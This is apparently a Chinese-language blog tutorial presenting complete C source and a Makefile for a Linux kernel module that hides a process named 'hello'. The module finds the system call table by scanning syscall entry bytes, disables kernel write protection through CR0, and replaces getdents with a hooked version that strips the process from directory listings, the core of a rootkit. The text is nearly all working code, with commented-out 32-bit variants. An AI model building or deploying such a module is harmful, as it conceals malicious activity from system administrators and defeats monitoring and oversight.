系统信息:内核为2.6.32, CentOSX86_64
由于不能修改内核源码,故需要引入劫持系统调用技术、Linux可卸载模块编程技术
示例程序
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define CALLOFF 100
//define idtr and idt struct
//隐藏进程名为:hello
char psname[10] = "hello";
char *processname = psname;
struct{
unsigned short limit;
unsigned int base;
}__attribute__((packed))idtr;
struct{
unsigned short off_low;
unsigned short sel;
unsigned char none;
unsigned char flags;
unsigned short off_high;
}__attribute__((packed))*idt;
struct _idt
{
unsigned short offset_low,segment_sel;
unsigned char reserved,flags;
unsigned short offset_high;
};
/*unsigned long *getscTable()
{
unsigned char idtr[6] = {0}, *shell = NULL, *sort = NULL;
struct _idt *idtLong = NULL;
unsigned long system_call = 0, sct = 0;
unsigned short offset_low = 0, offset_high = 0;
char *p = NULL;
int i = 0;
__asm__("sidt %0" : "=m" (idtr));
idtLong=(struct _idt*)(*(unsigned long*)&idtr[2]+8*0x80);
offset_low = idtLong->offset_low;
offset_high = idtLong->offset_high;
system_call = (offset_high<<16)|offset_low;
shell=(char *)system_call;
sort="\xff\x14\x85";
for(i=0;i<(100-2);i++)
{
if(shell[i] == sort[0] && shell[i+1] == sort[1] && shell[i+2] == sort[2])
{
break;
}
}
p = &shell[i];
p += 3;
sct=*(unsigned long*)p;
return (unsigned long*)(sct);
}*/
//define function, Point to the system being hijacked
struct linux_dirent
{
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[1];
};
asmlinkage long (*orig_getdents)(unsigned int fd, struct linux_dirent __user *dirp, unsigned int count);
//int orig_cr0 = 0;
unsigned long *sys_call_table = NULL;
//get function system_call addr
/*void* get_system_call(void)
{
printk(KERN_ALERT "start get_system_call...\n");
void * addr = NULL;
asm("sidt %0":"=m"(idtr));
idt = (void*) ((unsigned long*)idtr.base);
addr = (void*) (((unsigned int)idt[0x80].off_low) | (((unsigned int)idt[0x80].off_high)<<16 ));
return addr;
}*/
//find sys_call_table
char* findoffset(char *start)
{
printk(KERN_ALERT "start findoffset...\n");
char *p = NULL;
int i = 0;
/*for(p=start; p < start + CALLOFF; p++)
{
if(*(p+0) == '\xff' && *(p+1) == '\x14' && *(p+2) == '\x85')
{
return p;
}
}*/
p = start;
for(i=0;i<(100-2);i++,p++)
{
if(*(p+0) == '\xff' && *(p+1) == '\x14' && *(p+2) == '\xc5')
{
printk(KERN_ALERT "p: 0x%x\n",p);
return p;
}
}
return NULL;
}
//get sys_call_table addr
/*void** get_system_call_addr(void)
{
printk(KERN_ALERT "start get_system_call_addr.../n");
unsigned long sct = 0;
char *p = NULL;
unsigned long addr = (unsigned long)get_system_call();
if((p=findoffset((char*) addr)))
{
sct = *(unsigned long*)(p + 3);
printk(KERN_ALERT "find sys_call_addr: 0x%x\n", (unsigned int)sct);
}
return ((void**)sct);
}*/
//clear and return cr0
unsigned int clear_and_return_cr0(void)
{
printk(KERN_ALERT "start clear_and_return_cr0...\n");
unsigned int cr0 = 0;
unsigned int ret = 0;
asm volatile ("movq %%cr0, %%rax":"=a"(cr0));
ret = cr0;
cr0 &= 0xfffffffffffeffff;
asm volatile ("movq %%rax, %%cr0"
:
:"a"(cr0)
);
return ret;
}
//ser cr0
void setback_cr0(unsigned int val)
{
printk(KERN_ALERT "start setback_cr0...\n");
asm volatile ("movq %%rax, %%cr0"
:
:"a"(val)
);
}
//char* to int
/*int atoi(char *str)
{
int res = 0;
int mul = 1;
char *ptr = NULL;
for(ptr = str + strlen(str)-1; ptr >= str; ptr--)
{
if(*ptr < '0' || *ptr > '9')
{
return -1;
}
res += (*ptr - '0') * mul;
mul *= 10;
}
return res;
}*/
//check if process whose pid equals 'pid' is set to hidden
/*int ishidden(pid_t pid)
{
if(pid < 0)
{
return 0;
}
struct task_struct * task = NULL;
task = find_task_by_pid(pid);
printk(KERN_ALERT "pid:%d,hide:%d/n", pid, task->hide);
if(NULL != task && 1 == task->hide)
{
return 1;
}
return 0;
}*/
int myatoi(char *str)
{
int res = 0;
int mul = 1;
char *ptr = NULL;
for (ptr = str + strlen(str) - 1; ptr >= str; ptr--)
{
if (*ptr < '0' || *ptr > '9')
{
return -1;
}
res += (*ptr - '0') * mul;
mul *= 10;
}
if(res>0 && res< 9999)
{
printk(KERN_INFO "pid = %d\n",res);
}
return res;
}
struct task_struct *get_task(pid_t pid)
{
struct task_struct *p = get_current(),*entry = NULL;
list_for_each_entry(entry,&(p->tasks),tasks)
{
if(entry->pid == pid)
{
printk("pid found = %d\n",entry->pid);
return entry;
}
else
{
printk(KERN_INFO "pid = %d not found\n",pid);
}
}
return NULL;
}
static inline char *get_name(struct task_struct *p, char *buf)
{
int i = 0;
char *name = NULL;
name = p->comm;
i = sizeof(p->comm);
do
{
unsigned char c = *name;
name++;
i--;
*buf = c;
if(!c)
{
break;
}
if('\\' == c)
{
buf[1] = c;
buf += 2;
continue;
}
if('\n' == c)
{
buf[0] = '\\';
buf[1] = 'n';
buf += 2;
continue;
}
buf++;
}while(i);
*buf = '\n';
return buf + 1;
}
int get_process(pid_t pid)
{
struct task_struct *task = get_task(pid);
char buffer[64] = {0};
if(task)
{
get_name(task, buffer);
if(pid > 0 && pid < 9999)
{
printk(KERN_INFO "task name = %s\n",*buffer);
}
if(strstr(buffer,processname))
{
return 1;
}
else
{
return 0;
}
}
return 0;
}
//the hacked sys_getdents64
asmlinkage long hacked_getdents(unsigned int fd, struct linux_dirent __user *dirp, unsigned int count)
{
/*long value = 0;
unsigned short len = 0;
unsigned short tlen = 0;
printk(KERN_ALERT "hidden get dents/n");
struct kstat fbuf;
vfs_fstat(fd, &fbuf);//get file info
printk(KERN_ALERT "ino:%d, proc:%d,major:%d,minor:%d\n", fbuf.ino, PROC_ROOT_INO, MAJOR(fbuf.dev), MINOR(fbuf.dev));
if(orig_getdents != NULL)
{
value = (*orig_getdents)(fd, dirp, count);
//if the file is in /proc
if(fbuf.ino == PROC_ROOT_INO && !MAJOR(fbuf.dev) && MINOR(fbuf.dev) == 3)
{
printk(KERN_ALERT "this is proc\n");
}
}
else
{
printk(KERN_ALERT "orig_getdents is null\n");
}
return value;*/
long value = 0;
unsigned short len = 0;
unsigned short tlen = 0;
printk(KERN_ALERT "start call orig_getdents...\n");
value = (*orig_getdents) (fd, dirp, count);
printk(KERN_ALERT "end call orig_getdents...\n");
tlen = value;
//list dir table
while(0 < tlen)
{
len = dirp->d_reclen;
tlen = tlen - len;
printk("d_name = %s\n", dirp->d_name);
if(get_process(myatoi(dirp->d_name)))
{
printk("find process...\n");
memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);
value = value - len;
printk(KERN_INFO "hide successful...\n");
}
if(tlen)
{
dirp = (struct linux_dirent *) ((char *)dirp + dirp->d_reclen);
}
}
printk(KERN_INFO "finished hacked_getdents...\n");
return value;
}
static void *memmem(const void *haystack, size_t haystack_len, const void *needle, size_t needle_len)
{
const char *begin = NULL;
const char *const last_possible = (const char *) haystack + haystack_len - needle_len;
if (needle_len == 0)
{
printk(KERN_ALERT "needle_len == 0\n");
return (void*)haystack;
}
if (__builtin_expect(haystack_len < needle_len, 0))
{
return NULL;
}
for (begin = (const char *) haystack; begin <= last_possible; ++begin)
{
if (begin[0] == ((const char *) needle)[0]
&& !memcmp((const void *) &begin[1],
(const void *) ((const char *) needle + 1),
needle_len - 1))
{
return (void*) begin;
}
}
return NULL;
}
//获取系统调用表
/*
32位系统与64为系统不同
和x86相比,x64的系统调用劫持有以下变化:
1、 搜索的字符串不同:x64需要搜索的字符串是"\xff\x14\xc5";
而32位系统使用 \xff\x14\x85
2、cr0寄存器是64位的,在打开、关闭页面读写权限时,要使用64位的掩码,高32为全是f
3、在获得sys_call_table地址时需要和0xffffffff00000000相或。否则可能宕机。
*/
static unsigned long get_sct_addr(void)
{
#define OFFSET_SYSCALL 200
unsigned long syscall_long, retval;
char sc_asm[OFFSET_SYSCALL] = {0};
rdmsrl(MSR_LSTAR, syscall_long);
memcpy(sc_asm, (char *)syscall_long, OFFSET_SYSCALL);
retval = (unsigned long) memmem(sc_asm, OFFSET_SYSCALL, "\xff\x14\xc5", 3);
if ( retval != 0 )
{
retval = (unsigned long) ( * (unsigned long *)(retval+3) );
}
else
{
printk("long mode : memmem found nothing, returning NULL");
retval = 0;
}
#undef OFFSET_SYSCALL
return retval;
//unsigned sys_call_off = 0;
/*void *sys_call_off = NULL;
unsigned sct = 0;
char *p = NULL;
unsigned char idtrT[6] = {0}, *shell = NULL, *sort = NULL;
struct _idt *idtT;
unsigned long system_call = 0;// sct = 0;
asm("sidt %0":"=m"(idtrT));
//idt = (void *) (idtr.base + 8 * 0x80);
printk(KERN_ALERT "=== 1 ===\n");
//idt = (void*) ((unsigned long*)idtr.base);
idtT = (struct _idt*)(*(unsigned long*)&idtrT[2]+8*0x80);
//idt = (struct _idt*)
//sys_call_off = (idt->off_high << 16) | idt->off_low;
printk(KERN_ALERT "=== 2 ===\n");
//sys_call_off = (void*) (((unsigned int)idt[0x80].off_low) | (((unsigned int)idt[0x80].off_high)<<16 ));
system_call = (idtT->offset_high<<16) | idtT->offset_low;
printk(KERN_ALERT "=== 3 ===\n");
if ((p = findoffset((char *) system_call)))
{
sct = *(unsigned *) (p + 3);
}
else
{
printk(KERN_ALERT " findoffset fail...\n");
}
return ((void **)sct);*/
}
static int __init hook_init(void)
{
printk(KERN_ALERT "start hook_init\n");
unsigned long orig_cr0 = 0;//clear_and_return_cr0();
sys_call_table = (unsigned long*)get_sct_addr();
sys_call_table = (unsigned long)sys_call_table | 0xffffffff00000000;
if(!sys_call_table)
{
printk(KERN_ALERT "=== get_sct_addr fail ===\n");
return -EFAULT;
}//CENTOS 下 PS命令使用的是 __NR_getdents,而不是 __NR_getdents64
else if(sys_call_table[__NR_getdents] != hacked_getdents)
{
printk(KERN_ALERT "start __NR_getdents64 ...\n");
//printk(KERN_ALERT "sct:0x%x\n", (unsigned long)sys_call_table);
printk(KERN_ALERT "sct:0x%x,hacked_getdents:0x%x\n", (unsigned long)sys_call_table[__NR_getdents],(unsigned long)hacked_getdents);
orig_cr0 = clear_and_return_cr0();
orig_getdents = sys_call_table[__NR_getdents];
printk(KERN_ALERT "old:0x%x, new:0x%x\n",(unsigned long) orig_getdents, (unsigned long)hacked_getdents);
printk(KERN_ALERT "end __NR_getdents64 ...\n");
if(hacked_getdents != NULL)
{
printk(KERN_ALERT "call hacked_getdents...\n");
sys_call_table[__NR_getdents] = hacked_getdents;
}
setback_cr0(orig_cr0);
printk(KERN_INFO "hideps: module loaded.\n");
return 0;
}
else
{
printk(KERN_ALERT "system_call_table_long[__NR_getdents64] == hacked_getdents\n");
return -EFAULT;
}
}
static int __exit unhook_exit(void)
{
printk(KERN_ALERT "start unhook_exit\n");
unsigned long orig_cr0 = clear_and_return_cr0();
if(sys_call_table)
{
sys_call_table[__NR_getdents] = orig_getdents;
setback_cr0(orig_cr0);
printk(KERN_ALERT "unhook_exit success...\n");
return 0;
}
printk(KERN_ALERT "unhook_exit fail...\n");
return -EFAULT;
}
MODULE_AUTHOR("zhao liang. Halcrow ");
MODULE_DESCRIPTION("hook hide process");
MODULE_LICENSE("GPL");
module_init(hook_init)
module_exit(unhook_exit)
=== makefile内容 ===
ifneq ($(KERNELRELEASE),)
mymodules-objs:=hook.c
obj-m += hook.o
else
PWD := $(shell pwd)
KVER := $(shell uname -r)
KDIR := /lib/modules/$(KVER)/build
all:
$(MAKE) -C $(KDIR) M=$(PWD)
clean:
rm -rf *.o *.mod.c *.ko *.symvers *.order *.markers
endif
参考资料
【1】 高手过招谈Linux环境下的高级隐藏技术
http://blog.csdn.net/ldong2007/article/details/2874082
【2】 linux 系统调用劫持
http://blog.csdn.net/sealyao/article/details/4569482
【3】 Linux 2.6 劫持系统调用 隐藏进程
http://blog.csdn.net/billpig/article/details/6196163
【4】 Linux2.6内核中劫持系统调用隐藏进程
http://blog.chinaunix.net/uid-18757596-id-1744685.html